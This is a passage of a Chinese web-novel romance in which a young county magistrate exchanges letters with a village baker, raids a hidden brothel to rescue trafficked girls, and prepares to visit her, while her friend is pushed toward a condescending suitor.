只有富裕之地才有花楼,谢临安上任的乃是贫苦地方,自然没有花大钱喝花酒的去处。不过穷有穷的玩法,有人就做这种皮肉生意,在家门口挂柳枝表示接客。 保不齐就有人贩子拐了少女做伤天害理的买卖。 “是!” 谢临安吩咐捕快做事的时候,赵友玉一直眼睛发亮的看他。 不愧是他孺慕已久的郎君,办事条理清晰干净利落。又听他吩咐松石去找城里最好的夫子和武师傅,赵友玉觉得,他一定是想自己练武。 不过,请夫子做什么?谢临安可是皇帝钦点的探花郎啊,这里会有人比他更厉害? 松石也不明白,但无条件的应下。 屋里,只有谢康安心如明镜。 卢雪有个弟弟,叫什么他忘了。那天,他偷偷去她铺子附近,看见他们姐弟在说话,旁边还有个满身书卷气的男人。后来打听得知,卢石头在本地唯一的学堂读书,不仅读不好,还闹出过事情。 谢临安是给卢石头找的文武师傅。 想到这,谢康安蹙眉。 如此的态度,倒不像是玩弄乡野小娘子的样子,难道谢临安是认真的? 谢临安不在意卢雪与他定过亲? 还是,他就是喜欢这种刺激感? 越想,谢康安觉得这件事蹊跷。不过对他来说是天大的好事,是完美无瑕谢临安身上的污点。 垂下眸子的谢康安笑容狰狞。 或许,京城侯府众人会给他答疑解惑。 …… “真是知人知面不知心啊。” 夏日炎热,莲花握着蒲扇扇风,可还觉得心头燥热。 “哎,阿雪,你当真一点都不在意严夫子定亲的事情?” 莲花琢磨着严为之喜欢阿雪,或许会拒绝爹娘决定的亲事。但不知道怎么回事,他应下了,说是六月过礼,年底就成亲。 “不在意啊,对了,今早他来买包子时候说了莫名其妙的话。” 严为之眼睛发红脸色苍白,见到阿雪第一句便是:“某要定亲了。” 阿雪一脸天真:“我知道啊,恭喜夫子。” 有什么好恭喜的,他一点都不想同旁人成亲。 严为之据理力争,他爹娘却觉得是天赐姻缘,说什么也要让他应下。 严为之拗不过,便说考虑一天,直接来阿雪面前,寻求一个答案。 可阿雪半点不在意的模样,甚至笑盈盈的道:“等成亲时候我会带石头去喝喜酒!” 小娘子笑容灿烂,好像比准新郎官还要高兴。 严为之再也没说一句话,默默拿着东西走了,留下一个失魂落魄的背影。 他上课教书时频频走神,索性这两天以家中有事为由头,给孩子们放了假。卢石头高兴的手舞足蹈,走起路来脚步轻盈仿若踩在云端。 “唉,其实我觉得严夫子算是良人,长相周正为人善良,还会读书写字,多好的夫婿人选啊!” 阿雪不觉得,“是吗?他今年二十有五了吧?” 莲花看过来:“你是嫌他年纪大?” 阿雪如实说:“有点。” 不像是谢临安,才十九,他们之间只差三岁。 “我觉得差三岁以内最好,差多了不成。” 莲花有不一样的观点:“我倒是觉得七岁以内都可以,阿雪你年纪小不懂,年纪大一点会疼人呢!” 现在天气热了,怕包子放不住馊,阿雪都是一天做三次,这么会儿正是和晌午要用的面。她动作没停,随意的用手背蹭了下额头的薄汗,说道:“岁数大长的老啊,感觉差四岁就已经能看出不同了。” 附近有个卖酒水的铺子,老板娘年轻貌美约莫三十出头,她相公据说比她大四岁,瞧着却像是大十岁似的。 阿雪可不想那样,晚上睡觉不小心睁眼不会被吓到吗? 莲花撑着脸颊:“嗐,你还小,到时候你就知道了。” 其实莲花最近在相看一个郎君,比她大五岁,据说之前定下一门婚事,结果女方嫌贫爱富,和一个富商成了。莲花其实有点不愿意,不过她娘说那位郎君家境还不错,在城里开了一间饭馆做营生,人长的也周正,安排过几天见一面再说。 莲花将这件事同阿雪说了。 “你要进城吗?怎么不是他过来见你?” 莲花甩了下帕子,道:“我娘说他的饭馆生意好脱不开身,正好我们绣了一批精致帕子,作价太高卖不出去,想着进城没准能卖上大价钱。” 一举两得的事情。 阿雪把面团规整好,用盆扣住,拍拍手上的面粉。 “莲花,你怎么不考虑读书人?” 莲花:“你以为我不想啊,会读书写字的郎君多好啊,可他们会找小商贩的女儿吗?当然不会。” “阿雪我跟你说,水往高处流人往高处走,不管男女都会向上爬,有些穷苦书生会找有钱人家的娘子,供他读书进京赶考,哪里会找我们普通人。” 阿雪哦了一声,脑子里在想,那谢临安呢? 样貌出众会读书写字,现在还当了大官。 这是她第一次意识到他身份的与众不同。 他被侯府认回去后身份发生翻天覆地的变化,早就不是穷苦潦倒的谢哥哥了。 不知为何,阿雪莫名有些忐忑。 当天晚上冥思苦想许久,写下一封信,让去城里的莲花帮忙传达。 莲花好奇:“你什么时候和县令爷认识了?” “哎呀,你就帮我送一下。”阿雪含糊俩人的关系,因为她昨晚想到一件事。 她是在实行报仇计划,那他呢?他如今金尊玉贵,会不会也是逢场作戏? 忐忑焦虑之后,阿雪决定写信试探一番。 莲花他们家租了富商家的马车前往,天不亮就出发,当天晚上城门关闭之前到。 天黑后,那封信就落在谢临安的书桌上。 40-50 第41章 第41章 “见字如面。” “郎君,现在天气越发炎热,可有好好避暑?要多喝绿豆汤解暑才行。” “刘小丫家的绿豆汤越来越好喝了,冰凉爽口。我问她,她说里面加了花蜜。算了,我家没有花蜜,等你来还是请你在外面喝吧。” “一切都好,勿念。” 信纸上没有多少字,且竟然是两种字体,不过俱是歪歪扭扭。不用多想,肯定是有些字阿雪写不来,让卢石头帮忙代笔。 谢临安又从上到下将信看了一遍,唇角的笑意不断。 拇指摩挲着信角处墨汁勾勒的笑脸,好像小娘子笑颜如花站在他的面前一般。 好半响之后,谢临安深深吐出一口气,可还是觉得胸腔闷胀泛着暖意,直到他放下信,才好受许多。 初次心动的郎君,自然不知道那种感觉是什么象征,不受控制的去拿起信,胸腔里泛起密密麻麻的像疼又不是疼的感觉。 若是她在面前就好了。 缓缓深呼吸几次,压下想骑马见她的冲动,提笔便要写信。只是刚开了个头,外面松石道:“郎君,王捕头来了,说是找到一处暗娼窝点,但不确定,想让您拿个主意。” 一座城池容纳近万人,想要从中找出暗地里做皮肉生意的人,简直如大海捞针。不过王捕头在此当差多年,多少有人脉,因此找到好几处窝点,全部收押。不过更多的是藏的极隐秘,王捕头不确定,特意向上官禀告。 “嗯,”谢临安放下笔,耐心的将信纸折好压在桌面书籍之下,“本官与他同去。” 出门的时候碰上赵友成,他说什么也要凑热闹。“再过几天我就得回京了,趁着没离开多玩玩,回京城后说不定我动弹不得。” 为何动弹不得?自然是因为被国公爷收拾了。 国公爷武将出身,下手重,这次又被赵友成惹恼,恐怕未来两个月他都下不了床了。 “随你。”谢临安不咸不淡道,“不过可能不好玩。” 赵友成嘿嘿笑:“就当长见识了。” 赵友成住在衙门,谢康安和赵友玉则是住在城里的客栈。也是巧了,正好迎面碰上,赵友玉不肯放弃和谢临安相处的机会,自告奋勇也要跟上,谢康安其实不想跟着的,但他们都去了,他也只得表现出想去,就像是在京城里那样,免得被人当成异类排挤。 正值天黑,城中依然热闹。赵友成在路边买了几个烧饼,吃完后语重心长道:“这里百姓比京城里的更为淳朴善良,方才见我铜板不够,还以为我没钱,多给了一个烧饼。” 其实只是没有铜板罢了,碎银子有一堆。 “临安,你说是不是?” 赵友成说完挤眉弄眼,意思是让谢临安说说卢娘子,可惜谢临安不接招,淡淡的扫了他一眼,道:“嘴边有东西。” “嗯?”可能是吃烧饼没注意留下的。 赵友成舔了舔嘴边,什么都没有。 “好啊,骗我!”赵友成追了上去,走在最后的赵友玉一脸的艳羡。 “我阿兄与谢世子交情甚笃。” 谢康安维持面上和善笑意:“是,堂哥为人亲善,大家都喜欢他。不过,和他交好的人好像不多,堂哥到底是世子,自有几分傲气在的,而且他是太子伴读,自然和太子这等人中龙凤最好。” 这话的意思便是,谢临安瞧着好相处,实际上只和有势之人当朋友,其他人都瞧不上。 人家有太子同行,还看的上你们这些普通人? 赵友玉:“是吗?可我觉得我阿兄与谢世子相处甚欢。” 虽然谢临安看着对赵友成不冷不热,但显然多有维护,否则也不会让他住在衙署他眼皮子底下。若是不想让他跟着,大可以拒绝,但谢临安不曾阻止,那便是同意的意思。 “我觉得谢世子外冷内热。” 本来就对谢临安多有孺慕,相处这几日后更是佩服,絮絮叨叨说了不少好话,听的谢康安心烦。 总算到了地方,前面的谢临安似乎在吩咐着什么,赵友玉立刻噤声,凑上前去。谢康安再不情不愿也得跟上,走到跟前时,不耐烦的表情已经换上了好奇。 “也就是说,我们要先进去探听虚实?” “友成你们在原地。” 谢临安继续道:“其他人分散开以防打草惊蛇,将前后门都围住,王捕头同我进去,所有人待令。” 松石急了:“郎君,里面情况未知,您莫要以身涉险啊。” 不说被侯爷夫人捧在手心里长大也差不多了,虽然也学过一招半式,但到底是文人之躯。 天色昏暗,前方房门紧闭的小院如同龙潭虎穴,又像是幽幽巨兽之口,靠近就会被吞噬。 松石头皮发麻:“郎君,还是让王捕头带人进去吧。” 谢临安点头,松石大喜,以为对方听从劝说。却不想下一瞬谢临安将腰上的玉佩摘了下来。 “做戏做全面。” 来这等地方的大多手头不宽裕。 到底还是去敲门了,松石只能和赵友成他们守在不远处。瞧见王捕头叩门好一会,才有人来开门,不过只开了一条缝隙,十分谨慎。 “你们是谁?”开门的是个中年男人。 王捕头懂的多,如果这里真是做皮肉生意的,那他们只接熟客。他们二人脸生,对方恐怕警惕。 “这里可能喝酒?”来寻花问柳自然不能太直白,就说要喝酒。酒过三巡,自然有人来侍候。 那人先是打量王捕头,夜色太暗,看不清身后谢临安的面容,不过王捕头生的和善,那人放松几分,低声道:“喝什么酒?” 谢临安微微挑眉。 王捕头也压低了声音,俩人像是暗地里做交易一般你来我往。“都有什么酒?” “你出多少钱就有多少酒。” “能不能先尝尝?” “不能。” 一番对话后基本能确定,这里就是做皮肉生意的地方,恐怕里面人还不少。 谢临安身量高,越过中年男子的头顶朝里看过去,里面几个窗子全都亮着灯,隐隐有寻欢作乐的声音传出来。 王捕头和对方周旋之后又塞了一把铜板,那人才勉为其难的让开地方,王捕头先进来,谢临安进来的时候那人上前挡了一下。 “你……”有光亮照在谢临安的脸上,气质清隽英姿俊逸,虽穿着普通,可一看就不是寻常百姓。 “不好意思,他是我远房表弟,做生意失利赔的底儿朝天,正心情苦闷总是想不开,我寻思着带他来放松放松,免得孩子有朝一日想不开。” “原来曾是生意人啊,怪不得看着不一样。行,进来吧,保管让你乘兴而归。” 原本的怀疑因此彻底打消,中年男人关好门带着他们往里进,谢临安不动声色的观察四周,在门口处看不清,进来才看见房间门口的暗处都站着人,面色警惕的看他们。 方才若是直接让捕快们进来,恐怕交锋之下会有漏网之鱼。 跟着中年男人一直走到最里面,有几个没亮灯的房间,那人示意他们进去。谢临安先抬脚走了进去,王捕头则是被邀请去另外一间。 “为何要分开?”王捕头皱眉,觉得自己在大人身边还能保护他。 中年男人视线在他们俩身上转了一下,笑容暧昧:“莫不是你们想一起?那也成,不过要加钱。” 饶是年岁不小的王捕头也愣了愣,反而是谢临安先开口:“我自己在此就好。” 表现出异常容易引人怀疑。 屋里没点亮,王捕头临走之前看向谢临安。谢临安朝着他点点头,袖子下的手微微抬起,露出一根手指。 一刻钟之后行动。 王捕头会意,假意打哈欠,实际无声传递消息。“大人,保重。” 手无寸铁的文人墨客,在这等地方和一头肥羊没什么区别。 房门没关,又进来一个提着灯笼的女人,年岁不小,她笑盈盈的说客套话,待将屋里的蜡烛点燃看清谢临安的面容后,不由得低低吸了口气。 “好俊俏的郎君!” 谢临安端坐在椅子上,神态自若半点都看不出紧张。女人主动搭话,问他想要什么样的,谢临安淡声道:“最近可有新来的?” 前一阵子失踪了不少人,只找回来几个,剩下的不知所踪,本朝国土辽阔,说不好被贩卖到哪个穷乡僻壤当人家媳妇,自然,也有可能在这里。 良家妇女大多不会那么快接受,赵友成曾说过京城里的花楼有无数手段调教女子,这里也有可能。也就是说,新来的女人,有可能就是失踪之人。 不过,要见过了才知道。 那中年女人还以为谢临安是挑剔,笑哈哈道:“当然有!郎君想要个雏吧?等着,保管你满意。” 没一会就被推进来一个年岁不大的少女,瞧着约莫和阿雪一般的年纪。低垂着脑袋不肯抬头,中年女人偷掐她,但少女就像是木头似的没什么反应。 中年女人尴尬的笑笑:“如果郎君不满意还有别的人。” 作势就要将人领出去,谢临安及时开口:“就她了。” “好好好,”中年女人露出一副我都懂的表情,后退着出去将房门关好。 少女站在门口还是不动,但明显瑟缩,像是冷一样浑身发抖。 …… 守在外面的人一直没收到信号,松石急的不行,赵友玉也开始担忧,按捺不住道:“阿兄,我进去看看吧。” 他是武将,对付寻常人没任何问题,可保谢临安无忧。 其他人也俱是紧张之色,就赵友成异常放松,甚至能从怀里掏出一把果脯来吃。 “莫要担心,你们不知道谢临安有多少能耐。就算他孤身一人,也照样拿下此处。别怕,等他消息。” 聪明的脑袋能当拳头用。 松石如热锅上的蚂蚁,急的打转。过了一刻钟后,忽听得一阵吵闹之声,前后门的捕快们伺机而动,赵友玉一心保护谢临安,像是箭矢一般冲了出去。 …… “所以,真有两个前一阵子失踪的人?”赵友成挠脖颈子,夏日的夜晚到处都是蚊虫,等了这么会儿他身上不下十个红包。 “正好将断了的线索续上。”谢临安道。 抓了不少人,趁着夜色深重全带回衙署。有捕快过来请示:“大人,那些女子怎么办?” “多是苦命人,先在衙门安置好,本官还有话要问。” 待一切结束已经半夜三更了,其他人都去睡觉,赵友成则是呆在公事房里,打着哈欠和谢临安说话。 “我发现一件事啊。”赵友成右手挠左手的蚊子包,看坐在书桌后写信的谢临安,“你怎么没被蚊虫叮咬?” 写完信的谢临安吹了吹信纸,轻笑道:“自然因为有人护我。” 赵友成犯嘀咕:“说什么呢,乱七八糟。” 第42章 第42章 “城里东西就是不一样,莲花,来,娘看看你有没有哪里不妥当。” 他们昨日到的晚,就随便找了处地方,打算今日一早好好收拾一番去见男方。今天早上出来瞧见路边有卖饰品的,莲花娘咬咬牙,给莲花买了一副耳坠,戴上之后确实锦上添花。 莲花摸了摸自己的耳朵,笑容甜美。 “好看吗?” “当然好看了,我家莲花长的好又能干,不信迷不倒他。” 赶路时候随便穿了一身衣服,现在换上自己新做的最好看的一身水粉色衣裙。如花样的年纪,精心打扮后宛若大户人家的娇娘子。 莲花爹娘越看女儿越满意,拉着她就往前走。“放心,到时候你不必多说话,就看看对方长相和谈吐。” 介绍的媒人将男女双方的情况全都告诉清楚,莲花家其实特别满意男方,觉得对方能在城里开个小饭馆,也算是家底丰厚了。 不过曾经定过亲这一点,稍微有点让人膈应。莲花爹娘暗地里还蛐蛐,说:“会不会是别的事儿啊?” 所以他们比约定的日子提前来,昨晚就出去打听了,确实如媒人所说,定亲那个女子相中了路过的富商,嫌贫爱富将人踹了,和那富商私奔了。 “咱们莲花可是本分人,只要俩孩子看对眼了,这亲事就能成。” 当然也想找个读书人,都说士农工商,读书人地位甚高,可他们就是普通老百姓没有特别之处,也不认识什么读书人,因此熄了心思,只寻思给大女儿找个家底殷实的归宿就好。 昨晚就来过附近,因此今日很快就找到路。 这人做的是饭馆生意,铺子开张晚,他们到的时候对方还未起身,敲了好半响的门才来应。 “抱歉抱歉,昨夜关门太晚因此起的晚了。”那人衣衫不整,急忙低头捋好。 躲在父母身后的莲花悄悄看他,见他虽然看着不年轻了,但样貌还算周正。 这人叫周海天,早些年父母就没了,如今创下如此家业全靠自己。铺子后面有房间可以住人,他就一直在此居住,省下一份租赁钱。 迎他们进屋,周海天忙把窗户上的挡板卸下来,打开窗户后屋里空气流通,但还是一股饭菜酒水味,不大好闻。 莲花环视这间小铺子,只比自家的铺子大上一些,屋里摆放五张桌椅,约莫能容纳二十多个人。 兴许是开的年头久了,墙壁上有污渍,对于爱干净的莲花来说有点接受不了。桌面还算好,擦的干净,不过散发着浓重的烂菜味。 莲花皱眉,悄悄转了个方向,嗅了一口新鲜的空气才好受许多。她没表现出来,觉得人家一个人开个小饭馆已经很厉害了,兴许别人家的饭馆还没这么干净。 周海天回去换了身衣服就和他们说话,莲花爹娘问了几句后觉得对方谈吐不凡,因此甚是满意,便打算让女儿单独和他呆上一会。 “爹娘出去买点东西,莲花啊,你在这等一会吧。” “哎。”莲花应下,周海天起身送长辈,回来之后去端来一壶茶水。 “刚烧好的水,茶叶则是今年新采的,娘子尝尝。” 对方温柔体贴,莲花臊红脸,温声细语的和他说话。不过俩人第一次见,着实不知道说什么,周海天主动引起话题,说城里的有趣事情。 小地方来的莲花越来越局促,因为他说的那些离自己太远了,甚至她都没见过,只能含糊的应下,不知道怎么接。 “没关系,等你以后来城里定居所见所闻就多了。” 他又说了几句莲花听不懂的,没办法,莲花只能假装听懂连连点头。不知道怎么回事,莲花觉得自己在他前面矮了几分。 等到莲花爹娘回来,他们一家三口还帮忙打扫了铺子。 从铺子出来后,她娘亲小声道:“莲花啊,你和娘说说,周海天这人怎么样?” 以前在镇子里的莲花真的如莲花一般,清秀貌美的小娘子追随日光,和阿雪一样笑容灿烂。但这么会,像是霜打的茄子,直接蔫了。 “挺好的,见多识广,脾气也和善。” 莲花爹娘也觉得不错,心想这门婚事就定下。莲花又道:“但是娘,我不知道怎么回事,在他面前觉得自卑,而且有点不舒服。” 莲花娘拍着女儿的肩膀道:“有句话怎么说来着,什么井什么蛙。” “井底之蛙?坐井观天?” “对对,就是这么说的,莲花啊,娘和你说,我们出生在小地方没见过大世面,人家周海天就不一样了,这毕竟是城里,他见多识广谈吐不一样很正常,咱们啊,得多和人家学学……” 莲花脑子像是浆糊似的,越听心里越难受,她爹娘都来劝,因此她觉得这很正常。 可不知道为什么,就是有点想哭。 他们第二天走,当天晚上周海天约莲花出来逛。逛了半个时辰,莲花拿着周海天给买的礼物回来,眼睛通红。 天色晚了她爹娘也没瞧见女儿异常。 夜里莲花翻来覆去的睡不着,脑子里回想的是周海天说的话。 “往后我们成婚了你就在家照看孩子,铺子的事情有我,我自然会挣钱养你们。不用你操劳辛苦,只要把孩子养好就成。” “你的生意?每天绣帕子能挣多少钱?照顾好家庭才是你的本分,莫要本末倒置。” 他说了很多,刚开始莲花还反驳,后来越听越觉得对方说的对。只是心里不知道怎么回事非常难受,夜里哭了好几场。 正因为如此,翌日去衙署的时候,谢临安多看了她几眼。 “遇见事情可以找我帮忙。” 谢临安声音不轻不重,看在阿雪的面子上,他会帮她的手帕交。 莲花不知道他们的关系,老百姓怕官,她缩了下肩膀,小声道:“民女无事。” 既然对方不肯说那便算了,谢临安让松石递给她一个包裹,让她帮着转交给阿雪。 “民女告退。” …… 这边阿雪还在算着莲花回来的日子。 “也不知道郎君看见信没?” 前几次她给对方写信,从未收到过回信。阿雪觉得衙署太忙了,他没时间回。这次恐怕也不一定回吧。 但没关系,只要他看见她写的信就好了。 铺子里生意不错,忙碌起来的阿雪没功夫去想谢临安,就是闲暇时候脑海里总是浮现他的身影,而且每次卢石头过来都会提一嘴。 “阿姐,我今日用功读书了!我学会了男子汉大丈夫当未雨绸缪……” 卢石头噼里啪啦说一堆,末了扭扭捏捏道:“阿姐,下次你再给大人写信时,能不能提提我啊。” 早就将谢临安视为榜样,卢石头按捺不住,想要告诉他自己的进步,告诉他自己确实努力。 阿雪点头:“好啊,下次就提。” 卢石头大受鼓舞,撸起袖子就帮阿雪干活,在去学堂之前把铺子里打扫的干干净净一尘不染。 阿雪笑哈哈,卢石头被笑的脸色涨红。“阿姐你笑什么啊,我平日里也帮你干活了啊。” “可没干这么多。” 卢石头梗着脖子:“才不是为了表现!” “好好好,我知道,我们石头最能干了,行了,快点去学堂,莫要迟到了。到了之后好好读书,快去吧。” 等卢石头走了后铺子里来了客人,阿雪忙碌起来,待闲下来时已经快晌午了。她随便吃了两个肉包子,就着从刘二丫那买的酸梅汤。 吃完饭,听见外面热闹起来,阿雪从铺子窗户往外探头,瞧见有几个牵着马匹的外乡人。马背上放置着布袋子,装的鼓鼓囊囊,后面还跟着几辆马车。 阿雪住的小镇子人口不多,往来的人也少,平日里去哪靠双腿走,条件好一点的坐牛车,也有村子里花钱乘牛车来镇上买东西的,但少有马车,更别提这么多骏马了。 那些人走到阿雪铺子前停了下来,为首的是个络腮胡子大汉,说话瓮声瓮气。“小娘子,你这里卖吃食?” “有的,包子馒头都有,素馅和肉馅。”他们一行约莫十来个人,将马车等安置在不远处的空巷子里,然后来阿雪这吃东西。 “你们人多买的多,我多赠五个肉包子。”阿雪会做生意,他们将铺子里的包子都买了,剩下几个她就当添头送了。 谁成想没够吃,阿雪连忙又蒸了两锅,今日准备的馅料全都包完了,因此早早关店回家。 “估摸着是商队,或者是走镖。”卢大富坐在院子里收拾毛皮,卢石头好奇。 “爹,什么是走镖?” “就是有人托付他们送贵重东西,镖局接了活,安全将东西送达。” 卢石头心生向往:“那样岂不是可以走南闯北?” 一旁摘菜的焦红杏柔声道:“很危险的,若是碰上土匪马贼,东西丢了是小,命丢了是大。” 可卢石头没听进去,眼睛越发澄亮。 经过打听,还真是走镖。他们数日奔波,打算在此地停留休整。阿雪的铺子生意兴隆,因为便宜好吃,他们日日都要来定。 卢石头自告奋勇帮忙去送,每次都是好久才回来,一脸的兴致勃勃。 “阿姐,这是什么?” 莲花回来了,把包裹送过来,阿雪直接打开,里面是一盒精致的糕点,还有一个巴掌大的小圆瓷盒,白底蓝花,还描着金边。 卢石头拿起来打开一看,里面是如脂似的透亮东西,散发着淡淡的香气。 莲花捂嘴笑:“这叫香膏,专门抹脸用的,我在城里卖完手帕还特意去逛过胭脂铺子,这玩意儿看着小,实际不便宜的。” 说完,她拉过阿雪背对卢石头,压低了声音道:“阿雪,你同我说实话,你和那位县令爷到底怎么回事?” 阿雪吞吞吐吐,不知道该说不该说。 莲花抓住她的手语重心长道:“人家身居高位,恐怕只是玩玩,阿雪啊,我担心你被人玩弄了还不自知。” “才没有。” 要玩弄,也是她玩弄他。 …… “阿嚏。” 远在城里衙署的谢临安打了个喷嚏,松石见状担忧道:“郎君,我去请郎中过来吧。” “无碍,东西收拾好了吗?” “都收拾好了,即刻便可启程。” 第43章 第43章 不说侯府世子的名头,光是太子伴读,便足以让京城的人趋之若鹜。因此每年谢临安的生辰都是重要日子,就算来此穷乡僻壤当官,也照旧有人巴结送礼。 松石一一报上来,登记在册厚实一沓,念完口干舌燥。“郎君,肇州县令递了帖子,说是想摆放您。” “肇州到此就算快马加鞭也要七八天的路程,玩忽职守,可是大罪。” 在自己管辖的范围内走动没问题,皇帝画了圈,官员们便要在圈里蹲好,如果出圈,那就是出格,要出事。 赵友成他们已经离开了,否则定然会一语中的,说出其中关键。 谢临安沉思片刻,问:“他姓什么?” “禀郎君,姓苏。” “苏。”谢临安重复,手指轻点桌面,没一会动作停下,说道:“赵友成出京时京城风声鹤唳,朝廷查处了几件贪污案,其中就涉及到太后本家。” 松石脑袋还算聪明:“当今太后就是出自苏家,莫不是……这人和太后同出一宗?” “就算不是也差不多了,能摸来我这,大约是想扯上侯府做大旗。松石,查册子,看他送的什么礼,备双份回去,尽快送到他手里。” 既已经送过来,自然没有退回去的道理。京城世家就是讲究你来我往,今个儿我送你,明天你回我,一来二去的关系就维持住了。 “是!” “还有其他人的回礼,一并整理好,明日直接叫人送回京城。” 松石道:“夫人传了口信,说无需郎君费心,只需将名单送回去便可。” 自然有京城侯府帮忙打理。 “无妨,本地特色的东西备上一份,再按照往年的份例去采购好,我母亲那边愿意送可以再送。” 没人会嫌礼多。 “郎君,还有京城送来的特色糕点,来的时候放了冰,每到一处驿站额外补冰,现在还冒着凉气呢!您尝尝?” 糕点自然是侯府送的了,侯夫人盼了多年才得来一子,简直就要把天上的月亮摘下来给儿子了。 松石说着端过来。 一口木箱子,外面套了层棉被,里面则是摆放着冰盒糕点盒子。现下冰化了一些,打开后冒出阵阵凉气。糕点盒子自然是密封的,怕被人动手脚还封了蜡,松石作势就要取出来。 “去买冰回来放里,还有,醉香楼的杏花酿两坛,李记的烧鸭两只,”顿了顿,谢临安问,“昨天给赵友成他们带的糕点是哪家的?桃花酥和花生酥都要上两份。” 松石为难:“郎君,您不能吃花生。” 谢临安:“不是我吃。” 幸而松石脑子转了,立刻道:“原来是给卢娘子准备的,郎君,要不买两匹颜色鲜亮的布料送过去?我看卢娘子总是穿那两身衣服,好像没什么好料子。” 唯一的好料子还是上次谢临安送的成衣,但她显然压箱底没舍得拿出来穿。 “不用,暂时不需要。” 松石觉得奇怪,光是买吃食的钱都够买布料了,他们郎君应当不是舍不得花钱。那是为什么? 想不通就不想,松石去办事。 启程这天天气不大好,一大早就阴沉沉的,松石生怕下雨,又额外备了蓑衣和伞。 松石赶车在最前面,后头只跟着一辆马车,车里不止有东西,还有两个年岁小的娘子。 这几日查了城中几处暗娼地,其中大部分都是为了生计自愿做这种事,一小部分是丈夫或者亲近之人坑害,还有一些则是背井离乡被骗过来的。 这两位就是。 谢临安当然有办法送她们回去,但没想到俩人俱是孤儿,就算回去也无依无靠,还说要给谢临安当牛做马留在他的身边。 谢临安微笑:“本官不缺牛马。” 既然不回家也无法在城里待下去,自然得找个地方,谢临安做主,找了东山镇。人口不多,百姓淳朴善良,她们两个弱女子也可以好好的活下去。 他们出发的早,如果天公作美的话,当天深夜就能到。可惜,阴了一会就下起雨来,道路湿滑泥泞不说,雨势大的厉害完全看不清路。 无法,只能停下避雨。 后头的车夫进了车厢,两个小娘子立刻缩着肩膀往里躲。车夫憨厚笑笑:“雨来的快去的也快,别怕,一会就能走。” 俩人不接话,谨慎的看着车夫。 前头马车里,松石小声道:“郎君,用不用我过去后面瞧瞧?” 好人做到底,送佛送到西。松石想,她们应当很害怕男子,也不知道会不会怕车夫。 谢临安就没有那么怜香惜玉了。 “随你。”他声音淡淡,仿若并不关心两位小娘子。 事实也确实如此,他能出钱出力送她们过新生活,已经算是仁至义尽。 松石不好意思的挠头,到底没动。 等到雨势渐停后,他们重新启程,路过一处小村子时请人熬了姜汤,一人灌了一碗。 休息片刻便可继续上路,松石去方便,谢临安就在车里闭目养神。 过了会,车帘微动,探进来一截白若凝脂的手,将帘子掀开一条缝隙,甜美的声音穿过来。“大人,奴给您送吃食。” 谢临安睁眼。 帘子后露出半张美人面,她似乎想悄悄往里看,正好对上谢临安的视线。 那是怎么样一种感觉? 冷冰冰,没有半点温情。 美人头皮发麻,下意识的松手,帘子直接落下,挡住视线后她才敢继续出声。 “大人……奴就是想侍奉大人而已。” “不必。” 笑面郎君面容和善,却不想声音冷淡至极。 美人讷讷应了一声离去。 车厢里,谢临安一手扶着额头,明显是厌烦的神色。他年纪小的时候身边便围绕着各种女子,甚至在宫中伴读时,那些臣女借着宫宴想尽办法假装和他偶遇,防不胜防。 积年累月下来,早就练就一双慧眼。从对方说出第一个字的时候,他便能猜透其心思,且为此觉得厌恶。 唯独对阿雪,谢临安永远想不到她下一步要做什么。 未知,因此好奇,慢慢勾起兴趣,甚至开始期待。 …… 莲花带回来的信里告知阿雪,他过几日要来,因此阿雪一直在期盼着。 镇子那些镖局的人今日就要走,临走前在阿雪这定了不少馒头和包子,阿雪想着对方是要当赶路的粮食,现在天气热怕坏,就和对方商量添了苞谷面,少放水,虽然口感差了一些,但能多放几天。 东西太多,借了一辆小推车,让卢石头去送东西,天不亮去的,待快晌午才回来。 “今天不用去学堂也得好好读书。”院子里焦红杏晾晒衣裳,卢大富在磨箭。 卢石头去水缸旁舀了一瓢水,边洗手边应声:“晓得。” “娘,你听过百晓生吗?” 焦红杏抻衣服上的褶皱,免得晒干之后堆在一起不美观。“没有,什么是百晓生?” “哎呀,不是东西,呸!是东西,哎,百晓生是个代号,江湖上的所有事情他都知道,上到武林盟主内定人选,下到百花楼机密暗道,就没有他不知道的事儿!” 卢石头眉飞色舞的形容,还说了不少焦红杏听不懂的话。 “武林盟主,这都是什么?” “娘,你不懂,江湖是打打杀杀,更多的是人情世故!”卢石头挺起胸脯,一副我都明了的样子,“你想听吗?想听我给你讲。” 小少年兴奋的搓手,就等焦红杏点头。 这时候突然屁股一痛,卢石头哎呦捂着屁股,转过头,卢大富不知道什么时候走了过来,蒲扇大的巴掌又落在卢石头的屁股上。 “乱七八糟,从哪学的?” 卢石头不服:“怎么就乱七八糟了?夫子说了,读万卷书行万里路,目的就是让我们见多识广,不要长成目光短浅之人。我从镖局胡大哥那听了不少江湖故事,虽未亲身经历,但荡气回肠,我回味一下还不行啊。” “你个小兔崽子,知道什么是江湖?还胡大哥,到时候他把你卖了都不知道!今天不许出屋,就在房间里温习功课!” 卢石头觉得他爹不对。 “我没偷没抢,没做错任何事,你凭什么劈头盖脸就骂我啊,总得有理由吧。” 以前卢大富逮住卢石头就收拾,卢石头也不知道怎么辩解。这是第一次他说出这么多反驳的话。说完不止卢大富懵了,卢石头自己也惊讶,随后就是狂喜。 原来真如谢大人所说,读书是有用的!看,现在就派上用场了。 但嘴皮子不如硬拳头,最后还是被身强力壮的卢大富抓住,按住扒了裤子,照着腚打了好几下。 打完还把人锁在屋里,不写完大字不许出来。 焦红杏心疼坏了,忙去抢卢大富手里的钥匙。“他是你儿子又不是鸡鸭鹅,哪能锁屋里啊。” 卢大富还在气头上:“你莫要心软,他都和镖局那些人混熟了,心野了还怎么读书。而且他们不见得是什么好人,到时候将孩子带坏了可就掰不回来了。” 都是担忧孩子,脾气秉性不同的人做出不一样的选择。 下午时候,消气的卢大富拿着膏药进来要给他上药,卢石头还在气头上,说什么也不让他动。 卢大富刚要解释,卢石头已经跑了。 焦红杏拦住卢大富:“肯定是去找阿雪了,你莫要再追。” 正如焦红杏所说,卢石头确实是跑去找他阿姐了。正赶上莲花在铺子里和阿雪说体己话,卢石头识趣的没去打扰,还帮忙卖货,让她们姐妹俩好好叙话。 “真的?他真的这样说?” 莲花将那日在城里和周海天的对话复述一遍,阿雪唇角向下,替莲花不高兴。“我觉得他这样说未免太过分了。” “莲花,如果相处不舒服那就说明你们没缘分。” 莲花也是这样觉得,但她和家里说了,爹娘反而说她不懂事。 “人家周郎君家大业大,一个人挣钱能全家花,确实不缺你做绣活那三瓜俩枣,你也到年岁了,嫁过去早点生孩子才是大事。” “是啊莲花,爹看了,周海天人模人样,配我们家绰绰有余,到时候你就搬进城里,当城里人,往后生个孩子也是城里人,不用在蜗居这等小地方了。” 